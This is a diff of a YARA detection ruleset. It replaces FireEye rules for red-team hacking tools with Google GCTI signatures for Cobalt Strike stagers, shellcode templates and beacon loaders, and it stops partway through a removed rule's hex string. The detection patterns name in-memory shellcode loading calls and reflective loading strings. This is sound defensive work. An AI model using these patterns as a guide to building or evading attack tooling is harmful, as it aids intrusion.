-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "5ee2bca3-01ad-489b-ab1b-bda7962e06bb" ascii nocase wide
+		$isHighIntegrityProcess = {
+			83 ?? 7A
+			75 ??
+			8B [3]
+			33 ??
+			FF 15 [4]
+			44 [4]
+			8D [2]
+			48 8B ??
+			48 8D [3]
+			48 8B ??
+			4C 8B ??
+			48 89 [3]
+			FF 15 [4]
+			85 C0
+			74 ??
+			48 8B ??
+			FF 15 [4]
+			8D [2]
+			8A ??
+			40 [2]
+			0F B6 D1
+			48 8B 0F
+			FF 15 [4]
+			81 ?? 00 30 00 00
+		}
+		$executeTaskmgr = {
+			44 8D ?? 70
+			48 8D [3]
+			E8 [4]
+			83 [3] 00
+			48 8D [5]
+			0F 57 ??
+			66 0F 7F [3]
+			48 89 [3]
+			48 8D [5]
+			48 8D [3]
+			C7 [3] 70 00 00 00
+			C7 [3] 40 00 00 00
+			48 89 [3]
+			FF 15
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_WMISPY_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Template_X64_Ps1_V3_0_To_V4_X_Excluding_3_12_3_13
 {
 	meta:
-		description = "wql searches"
-		author = "FireEye"
-		id = "474af878-a657-54bc-a063-04532df928d4"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/APT_HackTool_MSIL_WMISPY_2.yar#L4-L24"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "3651f252d53d2f46040652788499d65a"
-		logic_hash = "553fc1e536482a56b3228a5c9ebac843af9083e8ac864bf65c81b36a39ca5e5e"
+		description = "Cobalt Strike's resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13"
+		author = "gssincla@google.com"
+		id = "5a808113-aacb-56ca-b3ec-166c73c54b85"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13.yara#L17-L37"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87"
+		logic_hash = "80823b8590004686ebd83958cad16094ea2f6958a837d87934507531a00df77a"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 4
+		quality = 81
+		tags = ""
 
 	strings:
-		$MSIL = "_CorExeMain"
-		$str1 = "root\\cimv2" wide
-		$str2 = "root\\standardcimv2" wide
-		$str3 = "from MSFT_NetNeighbor" wide
-		$str4 = "from Win32_NetworkLoginProfile" wide
-		$str5 = "from Win32_IP4RouteTable" wide
-		$str6 = "from Win32_DCOMApplication" wide
-		$str7 = "from Win32_SystemDriver" wide
-		$str8 = "from Win32_Share" wide
-		$str9 = "from Win32_Process" wide
+		$dda = "[AppDomain]::CurrentDomain.DefineDynamicAssembly" nocase
+		$imm = "InMemoryModule" nocase
+		$mdt = "MyDelegateType" nocase
+		$rd = "New-Object System.Reflection.AssemblyName('ReflectedDelegate')" nocase
+		$data = "[Byte[]]$var_code = [System.Convert]::FromBase64String(" nocase
+		$64bitSpecific = "[IntPtr]::size -eq 8"
+		$mandatory = "Mandatory = $True"
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and $MSIL and all of ($str*)
+		all of them
 }
-rule FIREEYE_RT_Tool_MSIL_Csharputils_1 : FILE
+rule GCTI_Cobaltstrike__Resources_Browserpivot_Bin_V1_48_To_V3_14_And_Sleeve_Browserpivot_Dll_V4_0_To_V4_X
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CSharpUtils' project."
-		author = "FireEye"
-		id = "a0e8c45a-759a-5611-aa2a-3113a75fb651"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPUTILS/production/yara/Tool_MSIL_CSharpUtils_1.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "11dfd44fb4ee1e610c2e4a941b3a1e88eafc30a2a2237529150e73bceb2a1324"
+		description = "Cobalt Strike's resources/browserpivot.bin from v1.48 to v3.14 and sleeve/browserpivot.dll from v4.0 to at least v4.4"
+		author = "gssincla@google.com"
+		id = "55086544-6684-526b-914f-505a562be458"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Browserpivot_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_Dll_v4_0_to_v4_x.yara#L17-L60"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "12af9f5a7e9bfc49c82a33d38437e2f3f601639afbcdc9be264d3a8d84fd5539"
+		logic_hash = "416554d31c105fd96aeaef508847efe2889590909c8d0025e3862e5b24078131"
 		score = 75
-		quality = 65
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "2130bcd9-7dd8-4565-8414-323ec533448d" ascii nocase wide
-		$typelibguid1 = "319228f0-2c55-4ce1-ae87-9e21d7db1e40" ascii nocase wide
-		$typelibguid2 = "4471fef9-84f5-4ddd-bc0c-31f2f3e0db9e" ascii nocase wide
-		$typelibguid3 = "5c3bf9db-1167-4ef7-b04c-1d90a094f5c3" ascii nocase wide
-		$typelibguid4 = "ea383a0f-81d5-4fa8-8c57-a950da17e031" ascii nocase wide
+		$socket_recv = {
+			FF [1-5]
+			83 ?? FF
+			74 ??
+			85 C0
+			(74 | 76) ??
+			03 ??
+			83 ?? 02
+			72 ??
+			80 ?? 3E FF 0A
+			75 ??
+			80 ?? 3E FE 0D
+		}
+		$fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharpschtask_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Template_Py_V3_3_To_V4_X
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpSchtask' project."
-		author = "FireEye"
-		id = "5c7a5dee-3bc2-54b2-a7e2-be05ba74d4a1"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSCHTASK/production/yara/HackTool_MSIL_SharpSchtask_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "7437fde82920f4d015a7f149b58924baf6cb220c6f6857d9509e23795ff0811c"
+		description = "Cobalt Strike's resources/template.py signature for versions v3.3 to v4.x"
+		author = "gssincla@google.com"
+		id = "16aef9a9-b217-5462-93dc-f6273c99ddd0"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Py_v3_3_to_v4_x.yara#L17-L36"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "d5cb406bee013f51d876da44378c0a89b7b3b800d018527334ea0c5793ea4006"
+		logic_hash = "3c26cea4b8f2b200bf58e939ae9ead7a7339d4ec0de8c72b3d9c7da897600081"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "0a64a5f4-bdb6-443c-bdc7-f6f0bf5b5d6c" ascii nocase wide
+		$arch = "platform.architecture()"
+		$nope = "WindowsPE"
+		$alloc = "ctypes.windll.kernel32.VirtualAlloc"
+		$movemem = "ctypes.windll.kernel32.RtlMoveMemory"
+		$thread = "ctypes.windll.kernel32.CreateThread"
+		$wait = "ctypes.windll.kernel32.WaitForSingleObject"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Win32_PGF_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Httpstager_Bin_V2_5_Through_V4_X
 {
 	meta:
-		description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
-		author = "FireEye"
-		id = "1af4f2ce-c540-5836-a749-43a0b08609b1"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_1.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "383161e4deaf7eb2ebeda2c5e9c3204c"
-		logic_hash = "d3fb0bd7b678b19ee2e0e846f4e13e4ce7e2629ecda123f34ef52f2af42d2a8e"
+		description = "Cobalt Strike's resources/httpstager.bin signature for versions 2.5 to 4.x"
+		author = "gssincla@google.com"
+		id = "86109485-c26c-5c51-8d04-dd1add9a8c57"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpstager_Bin_v2_5_through_v4_x.yara#L17-L93"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "a47569af239af092880751d5e7b68d0d8636d9f678f749056e702c9b063df256"
+		logic_hash = "3baab08b0118e00432f1869ba5daa4fc6383bfc020119bfbb3047a008c33fe72"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { 6A ?? FF 15 [4-32] 8A ?? 04 [0-32] 8B ?? 89 ?? 8B [2] 89 [2] 8B [2] 89 ?? 08 8B [2] 89 [2] 8B [2] 89 [2-64] 8B [5] 83 ?? 01 89 [5] 83 [5-32] 0F B6 [1-2] 0F B6 [1-2] 33 [1-16] 88 ?? EB }
-		$sb2 = { 6A 40 [0-32] 68 00 30 00 00 [0-32] 6A 00 [0-16] FF 15 [4-32] 89 45 [4-64] E8 [4-32] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [2-64] FF ( D? | 55 ) }
-		$sb3 = { 8B ?? 08 03 ?? 3C [2-32] 0F B? ?? 14 [0-32] 8D [2] 18 [2-64] 0F B? ?? 06 [3-64] 6B ?? 28 }
+		$apiLocator = {
+			31 ??
+			AC
+			C1 ?? 0D
+			01 ??
+			38 ??
+			75 ??
+			03 [2]
+			3B [2]
+			75 ??
+			5?
+			8B ?? 24
+			01 ??
+			66 8B [2]
+			8B ?? 1C
+			01 ??
+			8B ?? 8B
+			01 ??
+			89 [3]
+			5?
+			5?
+		}
+		$downloaderLoop = {
+			B? 00 2F 00 00
+			39 ??
+			74 ??
+			31 ??
+			( E9 | EB )
+		}
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		$apiLocator and $downloaderLoop
 }
-rule FIREEYE_RT_APT_Loader_Win64_PGF_5 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beaconloader_HA_X86_O_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "PGF payload, generated rule based on symfunc/8167a6d94baca72bac554299d7c7f83c"
-		author = "FireEye"
-		id = "4fa4a1d6-cb63-582d-801c-b4c89c44d9ca"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_5.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "150224a0ccabce79f963795bf29ec75b"
-		logic_hash = "16495ad1e5ce4d4a79f4067f3d687911a1a0a3bfe4c6409ff9de4d111b1ddca6"
+		description = "Cobalt Strike's sleeve/BeaconLoader.HA.x86.o (HeapAlloc) Versions 4.3 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "0ee3fa6f-367c-596f-a3bc-3bcfa61b97aa"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L17-L59"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "8e4a1862aa3693f0e9011ade23ad3ba036c76ae8ccfb6585dc19ceb101507dcd"
+		logic_hash = "d02257bc556d0b1675997ab6af1b28cf5f498855d6254e3c1cd7eb4a0c4d2715"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$cond1 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 13 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 66 23 00 00 48 8B 4C 24 40 FF 15 EB F9 FF FF B8 01 00 00 00 48 83 C4 38 C3 }
-		$cond2 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 A3 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 F6 20 00 00 48 8B 4C 24 40 FF 15 7B FA FF FF B8 01 00 00 00 48 83 C4 38 C3 }
-		$cond3 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? 8B 44 24 48 89 44 24 20 83 7C 24 2? ?1 74 ?? EB ?? 48 8B 44 24 40 48 ?? ?? ?? ?? ?? ?? 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? 48 83 C4 38 C3 }
-		$cond4 = { 4C 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 48 83 EC 38 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? 01 74 ?? EB ?? 48 8B 44 24 ?? 48 89 05 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B8 01 00 00 00 48 83 C4 38 C3 }
+		$core_sig = {
+      C6 45 F0 48
+      C6 45 F1 65
+      C6 45 F2 61
+      C6 45 F3 70
+      C6 45 F4 41
+      C6 45 F5 6C
+      C6 45 F6 6C
+      C6 45 F7 6F
+      C6 45 F8 63
+      C6 45 F9 00
+    }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Win32_PGF_3 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beaconloader_MVF_X86_O_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "PGF payload, generated rule based on symfunc/c02594972dbab6d489b46c5dee059e66. Identifies dllmain_hook x86 payloads."
-		author = "FireEye"
-		id = "adf91482-6e04-5d11-bc00-4b1c7a802c49"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_3.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4414953fa397a41156f6fa4f9462d207"
-		logic_hash = "24d2caad1d740ccbff0cf111a05ecad20ed06f311d530d8de86050d916da32ce"
+		description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x86.o (MapViewOfFile) Versions 4.3 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "3f7c0553-989e-53e7-87a9-3fa1c47f4b62"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L61-L111"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "cded3791caffbb921e2afa2de4c04546067c3148c187780066e8757e67841b44"
+		logic_hash = "dd831fb01a403213c06e3d07daf3da5f56655619a686149f9d4beec2331fe6ca"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 4
+		quality = 85
+		tags = ""
 
 	strings:
-		$cond1 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF 90 EE 01 6D C7 85 30 F9 FF FF 6C FE 01 6D 8D 85 34 F9 FF FF 89 28 BA CC 19 00 6D 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BB A6 00 00 A1 48 A1 05 6D C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B8 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 56 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 DF B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 52 0B 01 00 A1 4C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 51 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 EF AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 82 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 84 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 2C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 0C 40 05 6D A1 5C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 18 40 05 6D 89 04 24 A1 60 A1 05 6D FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 54 A1 05 6D FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 9C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 00 6D 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 00 6D 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 5D BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 48 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A0 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 FD BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 75 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 76 A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
-		$cond2 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF B0 EF 3D 6A C7 85 30 F9 FF FF 8C FF 3D 6A 8D 85 34 F9 FF FF 89 28 BA F4 1A 3C 6A 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 B3 A6 00 00 A1 64 A1 41 6A C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B0 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 4E 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 D7 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 4A 0B 01 00 A1 68 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 49 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 E7 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 7A FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 7C AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 62 40 41 6A A1 78 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 6E 40 41 6A 89 04 24 A1 7C A1 41 6A FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 41 6A FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 3C 6A 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 3C 6A 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 55 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 40 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 98 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 F5 BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 6D A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 6E A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
